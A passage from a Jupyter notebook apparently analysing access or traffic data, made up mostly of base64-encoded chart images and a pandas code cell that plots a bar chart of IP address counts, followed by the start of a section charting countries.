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rrLPOszozwTD/h04F9h5l/0PAYcAXx5jnJ8DrgZ+P0e8LwHvHW5wkSZIkrSymapAf8mw/v2G+S1VdSiewj7R/SVVdDfx2jHmuq6o7x3G8i4BHJ1qnJEmSJGlq85p5SZIkSVJfzTnyh8t1vjvn/cm4+v3yl7/k8MMP5+qrr2bVVVdlzpw5HHvssWy66abLpY5LLrmEVVZZhde85jXLZb5ursy3QJKDk8xPMv/pxx/pdzmSJEmS1HpVxf7778/rXvc6br/9dm666SY+//nPc9999y23Y1xyySX813/913Kbr5thvgWq6sSqGqiqgWmrvaDf5UiSJElS61188cXMmDGDQw455Hdtc+fO5bWvfS0f//jH2Wqrrdh6660544wzgE4wf/Ob3/y7voceeiinnnoqAHPmzOEzn/kM22+/PVtvvTU333wzd955JyeccALHHHMMc+fO5bLLLluu9XuavSRJkiRpyrnhhhvYYYcdntF+1llnsWDBAq6//noeeOABdtxxR3bdddcx51t33XW59tprOf744/niF7/IySefzCGHHMLqq6/OEUeM+DC0ZebKfJckpwOXA5slGUzygSSHJDmk2f/iJIPAXwGfbvqs2ew7L8msZvuwpt9sYGGSk5v2gaHt5v1lwHeAPZu53rAiP68kSZIk6Q/953/+JwcccADTpk1j/fXXZ7fdduPqq68ec9xb3/pWAHbYYQfuvPPOSa7Slfk/UFUHjLH/l3QCeq99b+ra/jLw5R595gMf7Hq/yzIXK0mSJElaZltuuSVnnnnmM9qrqmf/6dOns3Tp0t+9H/6M+FVXXRWAadOm8dRTTy3HSntzZV6SJEmSNOXssccePPnkk5x00km/a7v66qtZe+21OeOMM3j66ae5//77ufTSS9lpp5142ctexk033cSTTz7JI488wkUXXTTmMdZYYw0efXRynkbuyrwkSZIkqa/G+yi55SkJZ599Nocffjjz5s1j5syZv3s03WOPPca2225LEo4++mhe/OIXA/DOd76TbbbZhk022YTttttuzGO85S1v4e1vfzvnnHMOX/nKV9hll+V3cnZGOoVAz02rbrBJbXDgsf0uo1X68R8GSZIkSSNbvHgxW2yxRb/L6Lte30OSa6pqYKyxrsy3zNYveQHzDaeSJEmSNKV5zbwkSZIkSS1jmJckSZIkrXBT/ZLvZ/v5DfOSJEmSpBVq5syZPPjgg1M20FcVDz74IDNnzlzmObxmXpIkSZK0Qs2ePZvBwUHuv//+fpfSNzNnzmT27NnLPN4wL0mSJElaoWbMmMFGG23U7zJazdPsJUmSJElqGcO8JEmSJEktY5iXJEmSJKllMlXvHthWSR4Fbul3HVIfrQs80O8ipD7yd0Dy90Dyd2Dl9rKqetFYnbwBXvvcUlUD/S5C6pck8/0d0FTm74Dk74Hk74DA0+wlSZIkSWodw7wkSZIkSS1jmG+fE/tdgNRn/g5oqvN3QPL3QPJ3QN4AT5IkSZKktnFlXpIkSZKkljHMS5IkSZLUMob5lkiyd5JbktyW5Mh+1yP1Q5I7kyxKsiDJ/H7XI022JKckWZLkhq62Fya5MMmtzc+1+1mjNJlG+B04Kskvmn8LFiR5Uz9rlCZTkg2TXJxkcZIbk3y0afffAhnm2yDJNOCfgDcCrwQOSPLK/lYl9c3uVTXXZ6tqijgV2HtY25HARVW1CXBR815aWZ3KM38HAI5p/i2YW1XnreCapBXpKeBjVbUF8Grgw00O8N8CGeZbYifgtqq6o6p+A3wL2LfPNUmSJllVXQo8NKx5X+AbzfY3gP1WaFHSCjTC74A0ZVTVvVV1bbP9KLAYeAn+WyAM823xEuDurveDTZs01RTw4yTXJDm438VIfbJ+Vd0Lnf+TB6zX53qkfjg0ycLmNHxPL9aUkGQOsB1wJf5bIAzzbZEebT5TUFPRzlW1PZ1LTj6cZNd+FyRJWuG+CrwCmAvcC3ypv+VIky/J6sB3gcOr6lf9rkfPDYb5dhgENux6Pxu4p0+1SH1TVfc0P5cAZ9O5BEWaau5LsgFA83NJn+uRVqiquq+qnq6qpcBJ+G+BVnJJZtAJ8qdV1VlNs/8WyDDfElcDmyTZKMkqwLuBc/tck7RCJXl+kjWGtoE/Bm4YfZS0UjoXOLDZPhA4p4+1SCvcUIBp7I//FmglliTA14DFVfUPXbv8t0CkyrO126B57MqxwDTglKr6XJ9LklaoJC+nsxoPMB34N38PtLJLcjrwOmBd4D7gM8D3gG8DLwXuAt5RVd4gnr7OtQAAAHVJREFUTCulEX4HXkfnFPsC7gT++9C1w9LKJslrgcuARcDSpvl/0rlu3n8LpjjDvCRJkiRJLeNp9pIkSZIktYxhXpIkSZKkljHMS5IkSZLUMoZ5SZIkSZJaxjAvSZIkSVLLGOYlSZIkSWoZw7wkSZIkSS3z/wPYEg6FjNKLygAAAABJRU5ErkJggg==\n",
      "text/plain": [
       "<Figure size 1152x864 with 1 Axes>"
      ]
     },
     "metadata": {
      "needs_background": "light"
     },
     "output_type": "display_data"
    }
   ],
   "source": [
    "df_ipaddress=result['IPAddress'].value_counts().to_frame(name='count').reset_index()\n",
    "df_bar=df_ipaddress.rename(index=str, columns={\"index\": \"IPAddress\", \"count\": \"Count\"}).sort_values(by='Count',ascending='Count')\n",
    "df_bar.plot.barh(x='IPAddress',y='Count',figsize=(16,12))\n",
    "plt.title('Bar chart of IP Address');"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "<br id=\"l5.3\">\n",
    "\n",
    "### 5.3 Bar chart of Countries"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 26,
   "metadata": {},
   "outputs": [
    {
     "data": {
      "image/png": "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ySK3PSvJsbErGADcYlX3craQBgDglqCqHprJbmGbpsdDAgBuYWwJBAAwuKpan+RXk7xGAAKAWy4RCABgYFV1dJIrM/kEs5fNeRwAYBXZHQwAAABgALYEAgAAABiACAQAAAAwgHU355MdeuihvWnTppvzKQEAAABu0c4///yvd/fGxW53s0agTZs2ZevWrTfnUwIAAADcolXVl2a5nd3BAAAAAAYgAgEAAAAMQAQCAAAAGMDNekwgAAAAgKX4t3/7t2zfvj3XXXfdvEeZmw0bNuTwww/P+vXrl3R/EQgAAABY87Zv356DDjoomzZtSlXNe5ybXXfniiuuyPbt23PEEUcs6THsDgYAAACsedddd10OOeSQIQNQklRVDjnkkGVtCSUCAQAAAPuFUQPQTst9/SIQAAAAwIy+9rWv5SlPeUqOPPLIHHPMMXn0ox+dz372syv2+Oecc04+/OEPr9jjLeSYQAAAAMB+Z9Pz/3ZFH++S0x6z6G26O0984hNz0kkn5Y1vfGOSZNu2bbnsssvygz/4gysyxznnnJMDDzwwD3zgA1fk8RayJRAAAADADM4+++ysX78+p5xyyneWbd68OQ9+8IPzvOc9L/e6171y7LHH5k1velOSSdB57GMf+53bPutZz8qZZ56ZJNm0aVNe8IIX5L73vW+OPfbYfPrTn84ll1ySV73qVXnpS1+azZs354Mf/OCKzm9LIAAAAIAZXHTRRbnf/e632/K3ve1t2bZtWz7+8Y/n61//eu5///vnoQ996KKPd+ihh+aCCy7IK17xirzoRS/Ka17zmpxyyik58MAD89znPnfF57clEAAAAMAyfOhDH8qJJ56YAw44IHe6053ysIc9LOedd96i9/uZn/mZJMn97ne/XHLJJas8pQgEAAAAMJN73vOeOf/883db3t17vP26devy7W9/+zuXd/1499vc5jZJkgMOOCA33HDDCk66ZyIQAAAAwAxOOOGEXH/99Xn1q1/9nWXnnXde7nCHO+RNb3pTbrzxxuzYsSPnnntujj/++NzjHvfIpz71qVx//fW56qqr8r73vW/R5zjooINyzTXXrMr8jgkEAAAAMIOqytvf/vY8+9nPzmmnnZYNGzZk06ZNednLXpZrr702xx13XKoqL3zhC3PnO985SfLkJz859773vXPUUUflPve5z6LP8bjHPS5PetKT8o53vCMvf/nL85CHPGTl5t/bJkurYcuWLb1169ab7fkAAACAW4aLL744Rx999LzHmLs9rYeqOr+7tyx2X7uDAQAAAAxABAIAAAAYgAgEAAAAMAARCAAAANgv3JzHNV6Llvv6F41AVbWhqj5aVR+vqk9W1e9Ml59ZVV+sqm3T0+ZlTQIAAACwFxs2bMgVV1wxbAjq7lxxxRXZsGHDkh9jlo+Ivz7JCd19bVWtT/KhqnrP9LrndfdblvzsAAAAADM4/PDDs3379uzYsWPeo8zNhg0bcvjhhy/5/otGoJ4ktmunF9dPT2NmNwAAAGAu1q9fnyOOOGLeY+zXZjomUFUdUFXbklye5L3d/ZHpVb9fVZ+oqpdW1W1WbUoAAAAAlmWW3cHS3Tcm2VxVByd5e1XdK8lvJPlaklsnOT3Jryf53V3vW1UnJzk5Se5+97uv0NgAAAAAs7n4h4+e9wi7OfrTF9/sz7lPnw7W3VcmOSfJI7v70p64Psnrkhy/l/uc3t1bunvLxo0blz0wAAAAAPtulk8H2zjdAihVddskP57k01V12HRZJXlCkotWc1AAAAAAlm6W3cEOS3JWVR2QSTR6c3f/TVW9v6o2Jqkk25KcsopzAgAAALAMs3w62CeS3GcPy09YlYkAAAAAWHH7dEwgAAAAAPZPIhAAAADAAEQgAAAAgAGIQAAAAAADEIEAAAAABiACAQAAAAxABAIAAAAYgAgEAAAAMAARCAAAAGAAIhAAAADAAEQgAAAAgAGIQAAAAAADEIEAAAAABiACAQAAAAxABAIAAAAYgAgEAAAAMAARCAAAAGAAIhAAAADAAEQgAAAAgAGIQAAAAAADEIEAAAAABiACAQAAAAxABAIAAAAYgAgEAAAAMIB18x4AAAAAWJpjzzp23iPs5sKTLpz3COyFLYEAAAAABiACAQAAAAxABAIAAAAYg